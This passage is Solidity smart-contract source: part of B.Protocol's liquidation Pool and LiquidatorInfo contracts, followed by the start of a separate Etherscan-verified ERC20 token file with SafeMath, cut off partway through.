require(memberInfo.amountTopped >= underlyingAmount, "Pool: amount-too-big");
require(ICushion(avatar).remainingLiquidationAmount() == 0, "Pool: cannot-untop-in-liquidation");
(uint minTopup,,) = getDebtTopupInfo(user, bToken);
require(
memberInfo.amountTopped == underlyingAmount ||
sub_(memberInfo.amountTopped, underlyingAmount) >= minTopup,
"Pool: invalid-amount"
);
if(ICushion(avatar).toppedUpAmount() > 0) ICushion(avatar).untop(underlyingAmount);
address underlying = _getUnderlying(info.cToken);
balance[member][underlying] = add_(balance[member][underlying], underlyingAmount);
topupBalance[member][underlying] = sub_(topupBalance[member][underlying], underlyingAmount);
memberInfo.amountTopped = 0;
memberInfo.expire = 0;
}
function smallTopupWinner(address avatar) public view returns(address) {
uint chosen = uint(keccak256(abi.encodePacked(avatar, now / selectionDuration))) % members.length;
return members[chosen];
}
function topup(address user, address bToken, uint amount, bool resetApprove) external onlyMember {
address avatar = registry.avatarOf(user);
address cToken = bComptroller.b2c(bToken);
(uint minTopup, uint maxTopup, bool small) = getDebtTopupInfo(user, bToken);
address underlying = _getUnderlying(cToken);
uint memberBalance = balance[msg.sender][underlying];
require(memberBalance >= amount, "Pool: topup-insufficient-balance");
require(ICushion(avatar).remainingLiquidationAmount() == 0, "Pool: cannot-topup-in-liquidation");
TopupInfo storage info = topped[avatar];
_untopOnMembers(user, avatar, cToken, small);
MemberTopupInfo storage memberInfo = info.memberInfo[msg.sender];
require(add_(amount, memberInfo.amountTopped) >= minTopup, "Pool: topup-amount-small");
require(add_(amount, memberInfo.amountTopped) <= maxTopup, "Pool: topup-amount-big");
// For first topup skip this check as `expire = 0`
// From next topup, check for turn of msg.sender (new member)
if(small && memberInfo.expire != 0 && memberInfo.expire <= now) {
require(smallTopupWinner(avatar) == msg.sender, "Pool: topup-not-your-turn");
}
// topup is valid
balance[msg.sender][underlying] = sub_(memberBalance, amount);
topupBalance[msg.sender][underlying] = add_(topupBalance[msg.sender][underlying], amount);
if(small && memberInfo.expire <= now) {
memberInfo.expire = add_(now, holdingTime);
}
memberInfo.amountTopped = add_(memberInfo.amountTopped, amount);
// in all the below, as sload will soon cost 2k gas, we use sstore without
// checking if the value really changed
memberInfo.amountLiquidated = 0;
info.debtToLiquidatePerMember = 0;
info.cToken = cToken;
if(_isCEther(cToken)) {
ICushionCEther(avatar).topup.value(amount)();
} else {
if(resetApprove) IERC20(underlying).safeApprove(avatar, 0);
IERC20(underlying).safeApprove(avatar, amount);
ICushionCErc20(avatar).topup(cToken, amount);
}
}
// created this function to avoid stack too deep error
function _untopOnMembers(address user, address avatar, address cToken, bool small) internal {
uint realCushion = ICushion(avatar).toppedUpAmount();
TopupInfo memory info = topped[avatar];
for(uint i = 0 ; i < members.length ; i++) {
address member = members[i];
MemberTopupInfo memory memberInfo = topped[avatar].memberInfo[member];
uint amount = memberInfo.amountTopped;
if(amount > 0) {
if(realCushion == 0) {
_untopOnBehalf(member, user, amount);
// now it is 0 topup
continue;
}
require(info.cToken == cToken, "Pool: cToken-miss-match");
if(member == msg.sender) continue; // skil below check for me(member)
if(! small) continue; // if big loan, share with it with other members
// me(member) checking for other member's expire
require(memberInfo.expire < now, "Pool: other-member-topped");
_untopOnBehalf(member, user, amount);
}
}
}
event MemberDeposit(address indexed member, address underlying, uint amount);
event MemberWithdraw(address indexed member, address underlying, uint amount);
event MemberToppedUp(address indexed member, address avatar, address cToken, uint amount);
event MemberUntopped(address indexed member, address avatar);
event MemberBite(address indexed member, address avatar, address cTokenDebt, address cTokenCollateral, uint underlyingAmtToLiquidate);
event ProfitParamsChanged(uint numerator, uint denominator);
event MembersSet(address[] members);
event SelectionDurationChanged(uint oldDuration, uint newDuration);
event MinTopupBpsChanged(uint oldMinTopupBps, uint newMinTopupBps);
event HoldingTimeChanged(uint oldHoldingTime, uint newHoldingTime);
event MinSharingThresholdChanged(address indexed bToken, uint oldThreshold, uint newThreshold);
modifier onlyMember() {
require(_isMember(msg.sender), "Pool: not-member");
_;
}
constructor(address _jar) public {
jar = _jar;
}
// Added to avoid stack-too-deep-error
// This also reduce the code size as modifier code is copied to function
function _isMember(address member) internal view returns (bool isMember) {
for(uint i = 0 ; i < members.length ; i++) {
if(members[i] == member) {
isMember = true;
break;
}
}
}
function setRegistry(address _registry) external onlyOwner {
require(address(registry) == address(0), "Pool: registry-already-set");
registry = IRegistry(_registry);
comptroller = IComptroller(registry.comptroller());
bComptroller = IBComptroller(registry.bComptroller());
cEther = registry.cEther();
}
function emergencyExecute(address target, bytes calldata data) external payable onlyOwner {
(bool succ, bytes memory ret) = target.call.value(msg.value)(data);
require(succ, string(ret));
}
/**
* @dev Fallback function to receive ETH from Avatar
*/
function() external payable {}
function setMinTopupBps(uint newMinTopupBps) external onlyOwner {
require(newMinTopupBps >= 0 && newMinTopupBps <= 10000, "Pool: incorrect-minTopupBps");
uint oldMinTopupBps = minTopupBps;
minTopupBps = newMinTopupBps;
emit MinTopupBpsChanged(oldMinTopupBps, newMinTopupBps);
}
function setHoldingTime(uint newHoldingTime) external onlyOwner {
require(newHoldingTime > 0, "Pool: incorrect-holdingTime");
uint oldHoldingTime = holdingTime;
holdingTime = newHoldingTime;
emit HoldingTimeChanged(oldHoldingTime, newHoldingTime);
}
function setMinSharingThreshold(address bToken, uint newMinThreshold) external onlyOwner {
require(newMinThreshold > 0, "Pool: incorrect-minThreshold");
require(bComptroller.isBToken(bToken), "Pool: not-a-BToken");
uint oldMinThreshold = minSharingThreshold[bToken];
minSharingThreshold[bToken] = newMinThreshold;
emit MinSharingThresholdChanged(bToken, oldMinThreshold, newMinThreshold);
}
function setProfitParams(uint numerator, uint denominator) external onlyOwner {
require(numerator < denominator, "Pool: invalid-profit-params");
shareNumerator = numerator;
shareDenominator = denominator;
emit ProfitParamsChanged(numerator, denominator);
}
function setSelectionDuration(uint newDuration) external onlyOwner {
require(newDuration > 0, "Pool: selection-duration-is-zero");
uint oldDuration = selectionDuration;
selectionDuration = newDuration;
emit SelectionDurationChanged(oldDuration, newDuration);
}
function setMembers(address[] calldata newMembersList) external onlyOwner {
members = newMembersList;
emit MembersSet(newMembersList);
}
function deposit() external payable onlyMember {
balance[msg.sender][ETH_ADDR] = add_(balance[msg.sender][ETH_ADDR], msg.value);
emit MemberDeposit(msg.sender, ETH_ADDR, msg.value);
}
function deposit(address underlying, uint amount) external onlyMember {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
balance[msg.sender][underlying] = add_(balance[msg.sender][underlying], amount);
emit MemberDeposit(msg.sender, underlying, amount);
}
function withdraw(address underlying, uint amount) external {
if(_isETH(underlying)) {
balance[msg.sender][ETH_ADDR] = sub_(balance[msg.sender][ETH_ADDR], amount);
msg.sender.transfer(amount);
} else {
balance[msg.sender][underlying] = sub_(balance[msg.sender][underlying], amount);
IERC20(underlying).safeTransfer(msg.sender, amount);
}
emit MemberWithdraw(msg.sender, underlying, amount);
}
function liquidateBorrow(
address borrower,
address bTokenCollateral,
address bTokenDebt,
uint underlyingAmtToLiquidate
)
public onlyMember
{
address cTokenCollateral = bComptroller.b2c(bTokenCollateral);
address cTokenDebt = bComptroller.b2c(bTokenDebt);
address avatar = registry.avatarOf(borrower);
TopupInfo storage info = topped[avatar];
require(info.memberInfo[msg.sender].amountTopped > 0, "Pool: member-didnt-topup");
uint debtToLiquidatePerMember = info.debtToLiquidatePerMember;
if(debtToLiquidatePerMember == 0) {
uint numMembers = 0;
for(uint i = 0 ; i < members.length ; i++) {
if(info.memberInfo[members[i]].amountTopped > 0) {
numMembers++;
}
}
debtToLiquidatePerMember = ICushion(avatar).getMaxLiquidationAmount(cTokenDebt) / numMembers;
info.debtToLiquidatePerMember = debtToLiquidatePerMember;
}
MemberTopupInfo memory memberInfo = info.memberInfo[msg.sender];
require(memberInfo.amountTopped > 0, "Pool: member-didnt-topup");
require(
add_(memberInfo.amountLiquidated, underlyingAmtToLiquidate) <= debtToLiquidatePerMember,
"Pool: amount-too-big"
);
uint amtToDeductFromTopup = mul_(underlyingAmtToLiquidate, memberInfo.amountTopped) / (
sub_(debtToLiquidatePerMember, memberInfo.amountLiquidated)
);
uint amtToRepayOnCompound = sub_(underlyingAmtToLiquidate, amtToDeductFromTopup);
address debtUnderlying = _getUnderlying(cTokenDebt);
require(balance[msg.sender][debtUnderlying] >= amtToRepayOnCompound, "Pool: low-member-balance");
if(! _isCEther(cTokenDebt)) {
IERC20(debtUnderlying).safeApprove(avatar, amtToRepayOnCompound);
}
require(
ICushion(avatar).liquidateBorrow.value(debtUnderlying == ETH_ADDR ?
amtToRepayOnCompound :
0)(underlyingAmtToLiquidate, amtToDeductFromTopup, cTokenCollateral) == 0,
"Pool: liquidateBorrow-failed"
);
// substract payment from member balance
balance[msg.sender][debtUnderlying] = sub_(balance[msg.sender][debtUnderlying], amtToRepayOnCompound);
// share siezed cTokens with `member` and `jar`
_shareLiquidationProceeds(cTokenCollateral, msg.sender);
info.memberInfo[msg.sender].amountLiquidated = add_(memberInfo.amountLiquidated, underlyingAmtToLiquidate);
info.memberInfo[msg.sender].amountTopped = sub_(memberInfo.amountTopped, amtToDeductFromTopup);
topupBalance[msg.sender][debtUnderlying] = sub_(topupBalance[msg.sender][debtUnderlying], amtToDeductFromTopup);
if(IAvatar(avatar).toppedUpAmount() == 0) {
//info.debtToLiquidatePerMember = 0; // this indicates the liquidation ended
delete topped[avatar]; // this will reset debtToLiquidatePerMember
}
emit MemberBite(msg.sender, avatar, cTokenDebt, cTokenCollateral, underlyingAmtToLiquidate);
}
function feedPricesAndLiquidate(
IUniswapAnchoredView priceOracle,
bytes[] calldata messages,
bytes[] calldata signatures,
string[] calldata symbols,
address borrower,
address bTokenCollateral,
address bTokenDebt,
uint underlyingAmtToLiquidate
)
external
{
priceOracle.postPrices(messages, signatures, symbols);
liquidateBorrow(borrower, bTokenCollateral, bTokenDebt, underlyingAmtToLiquidate);
}
function _shareLiquidationProceeds(address cTokenCollateral, address member) internal {
uint seizedTokens = IERC20(cTokenCollateral).balanceOf(address(this));
uint memberShare = div_(mul_(seizedTokens, shareNumerator), shareDenominator);
uint jarShare = sub_(seizedTokens, memberShare);
IERC20(cTokenCollateral).safeTransfer(member, memberShare);
IERC20(cTokenCollateral).safeTransfer(jar, jarShare);
}
function membersLength() external view returns (uint) {
return members.length;
}
function getMembers() external view returns (address[] memory) {
return members;
}
function _isETH(address addr) internal pure returns (bool) {
return addr == ETH_ADDR;
}
function _isCEther(address addr) internal view returns (bool) {
return addr == cEther;
}
function _getUnderlying(address cToken) internal view returns (address underlying) {
if(_isCEther(cToken)) {
underlying = ETH_ADDR;
} else {
underlying = address(ICErc20(cToken).underlying());
}
}
}
// File contracts/bprotocol/info/LiquidatorInfo.sol
pragma solidity ^0.5.16;
contract LiquidatorInfo {
address constant ETH = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
struct AvatarInfo {
address user;
uint totalDebt; // total debt according to price feed
uint totalCollateral; // total collateral according to price feed
uint weightedCollateral; // collateral x collateral factor. liquidation when weightedCollateral < totalDebt
address[] debtTokens;
uint[] debtAmounts;
address[] collateralTokens;
uint[] collateralAmounts;
uint[] weightedCollateralAmounts;
}
struct CushionInfo {
bool hasCushion;
bool shouldTopup;
bool shouldUntop;
address cushionCurrentToken;
uint cushionCurrentSize;
uint cushionTokenTotalDebt;
address[] cushionPossibleTokens; // which tokens could be used for cushion
uint[] cushionMaxSizes;
}
struct LiquidationInfo {
// only relevant if there is a cushion. we assume only one liquidator
uint remainingLiquidationSize;
uint memberLiquidationIncentive;
}
struct AccountInfo {
AvatarInfo avatarInfo;
CushionInfo cushionInfo;
LiquidationInfo liquidationInfo;
uint blockNumber;
}
struct CToken2BToken {
address[] cTokens;
address[] bTokens;
}
struct CurrentPrices {
uint[] currPrices;
address[] ctokens;
}
struct Info {
AccountInfo[] accountInfo;
CToken2BToken c2bMapping;
CurrentPrices currPrices;
uint numAvatars;
}
function getCTokenToBTokenList(BComptroller bComptroller)
public
view
returns (CToken2BToken memory info)
{
info.cTokens = bComptroller.getAllMarkets();
info.bTokens = new address[](info.cTokens.length);
for(uint i = 0; i < info.cTokens.length; i++) {
info.bTokens[i] = bComptroller.c2b(info.cTokens[i]);
}
}
function getCurrentPrices(IUniswapAnchoredView oracle, address[] memory ctokens)
public
view
returns (CurrentPrices memory info)
{
info.currPrices = new uint[](ctokens.length);
info.ctokens = ctokens;
for(uint i = 0 ; i < ctokens.length ; i++) {
info.currPrices[i] = oracle.getUnderlyingPrice(ctokens[i]);
}
}
function isIn(address[] memory array, address elm) internal pure returns(bool) {
for(uint i = 0 ; i < array.length ; i++) {
if(elm == array[i]) return true;
}
return false;
}
function getAvatarInfo(
Registry registry,
BComptroller bComptroller,
address[] memory cTokens,
uint[] memory priceFeed,
address avatar
)
public
returns(AvatarInfo memory info)
{
require(cTokens.length == priceFeed.length, "cTokens-priceFeed-missmatch");
uint numTokens = cTokens.length;
address user = registry.ownerOf(avatar);
info.user = user;
info.debtTokens = new address[](numTokens);
info.debtAmounts = new uint[](numTokens);
info.collateralTokens = new address[](numTokens);
info.collateralAmounts = new uint[](numTokens);
info.weightedCollateralAmounts = new uint[](numTokens);
IComptroller comptroller = bComptroller.comptroller();
address[] memory assetsIn = comptroller.getAssetsIn(avatar);
for(uint i = 0 ; i < numTokens ; i++) {
if(registry.cEther() == cTokens[i])
info.debtTokens[i] = ETH;
else
info.debtTokens[i] = address(CTokenInterface(cTokens[i]).underlying());
address bToken = bComptroller.c2b(cTokens[i]);
info.debtAmounts[i] = IBToken(bToken).borrowBalanceCurrent(user);
info.collateralTokens[i] = cTokens[i];
info.collateralAmounts[i] = IBToken(bToken).balanceOfUnderlying(user);
if(! isIn(assetsIn, cTokens[i])) info.collateralAmounts[i] = 0;
// set as 0 if not in market
// CR = collateralRatio = collateralFactorMantissa
(,uint CR) = comptroller.markets(cTokens[i]);
info.weightedCollateralAmounts[i] = info.collateralAmounts[i] * CR / 1e18;
info.totalDebt += info.debtAmounts[i] * priceFeed[i] / 1e18;
info.totalCollateral += info.collateralAmounts[i] * priceFeed[i] / 1e18;
info.weightedCollateral += info.weightedCollateralAmounts[i] * priceFeed[i] / 1e18;
}
}
function cTokenToUnderlying(Registry registry, address cToken) internal view returns(address) {
if(registry.cEther() == cToken)
return ETH;
else
return address(CTokenInterface(cToken).underlying());
}
function getCushionInfo(
Registry registry,
BComptroller bComptroller,
Pool pool,
address[] memory cTokens,
uint[] memory priceFeed,
uint debtAmount,
uint weightedCollateral,
address avatar,
address me
)
public
returns(CushionInfo memory info)
{
address user = registry.ownerOf(avatar);
info.hasCushion = ICushion(avatar).toppedUpAmount() > 0;
(, uint amountTopped,) = pool.getMemberTopupInfo(user, me);
if(debtAmount > weightedCollateral) {
// assume there is only one member
info.shouldTopup = true;
}
info.shouldUntop = (!info.hasCushion && amountTopped > 0);
if(amountTopped > 0) {
(,address toppedCToken) = pool.topped(avatar);
info.cushionCurrentToken = cTokenToUnderlying(registry, toppedCToken);
info.cushionCurrentSize = amountTopped;
}
info.cushionPossibleTokens = new address[](cTokens.length);
info.cushionMaxSizes = new uint[](cTokens.length);
for(uint i = 0 ; i < cTokens.length ; i++) {
uint debt = IBToken(bComptroller.c2b(cTokens[i])).borrowBalanceCurrent(user);
uint debtUsd = debt * priceFeed[i] / 1e18;
if(amountTopped > 0 && info.hasCushion) {
if(info.cushionCurrentToken != cTokenToUnderlying(registry, cTokens[i])) continue;
info.cushionTokenTotalDebt = debt;
debt -= amountTopped;
}
info.cushionPossibleTokens[i] = cTokenToUnderlying(registry, cTokens[i]);
info.cushionMaxSizes[i] = debt;
if(debtAmount > weightedCollateral) {
// not enough debt to topup
if(debtUsd < (debtAmount - weightedCollateral)) info.cushionMaxSizes[i] = 0;
}
}
}
function getLiquidationInfo(Pool pool, address avatar) public returns(LiquidationInfo memory info) {
info.remainingLiquidationSize = ICushion(avatar).remainingLiquidationAmount();
Registry registry = Registry(address(pool.registry()));
IComptroller comptroller = IComptroller(registry.comptroller());
info.memberLiquidationIncentive =
comptroller.liquidationIncentiveMantissa() * pool.shareNumerator() / pool.shareDenominator();
}
function getSingleAccountInfo(
Pool pool,
Registry registry,
BComptroller bComptroller,
address me,
address avatar,
address[] memory cTokens,
uint[] memory priceFeed,
IUniswapAnchoredView oracle
)
public
returns(AccountInfo memory info)
{
info.avatarInfo = getAvatarInfo(registry, bComptroller, cTokens, priceFeed, avatar);
info.cushionInfo = getCushionInfo(
registry,
bComptroller,
pool,
cTokens,
priceFeed,
info.avatarInfo.totalDebt,
info.avatarInfo.weightedCollateral,
avatar,
me
);
info.liquidationInfo = getLiquidationInfo(pool, avatar);
info.blockNumber = block.number;
CurrentPrices memory realPrices = getCurrentPrices(oracle, cTokens);
AvatarInfo memory realAvatarInfo = getAvatarInfo(registry, bComptroller, cTokens, realPrices.currPrices, avatar);
if(realAvatarInfo.totalDebt > realAvatarInfo.weightedCollateral) {
if(info.liquidationInfo.remainingLiquidationSize == 0) {
info.liquidationInfo.remainingLiquidationSize = info.cushionInfo.cushionTokenTotalDebt / 2;
}
}
}
function getInfo(
uint startAccount,
uint endAccount,
address me,
Pool pool,
address[] memory cTokens,
uint[] memory priceFeed,
string[] memory /* symbols */ // this is obselete now
)
public
returns(Info memory info)
{
info.accountInfo = new AccountInfo[](endAccount + 1 - startAccount);
Registry registry = Registry(address(pool.registry()));
BComptroller bComptroller = BComptroller(address(pool.bComptroller()));
IUniswapAnchoredView oracle = IUniswapAnchoredView(IComptroller(BComptroller(bComptroller).comptroller()).oracle());
for(uint i = 0 ; i + startAccount <= endAccount ; i++) {
uint accountNumber = i + startAccount;
address avatar = registry.avatars(accountNumber);
info.accountInfo[i] = getSingleAccountInfo(pool, registry, bComptroller, me, avatar, cTokens, priceFeed, oracle);
}
info.c2bMapping = getCTokenToBTokenList(bComptroller);
info.currPrices = getCurrentPrices(oracle, cTokens);
info.numAvatars = registry.avatarLength();
}
function getNumAvatars(Pool pool) public view returns(uint) {
Registry registry = Registry(address(pool.registry()));
return registry.avatarLength();
}
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/**
*Submitted for verification at Etherscan.io on 2022-04-20
*/
/**
*
*/
/**
*
*/
/**
// SPDX-License-Identifier: Unlicensed
*/
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
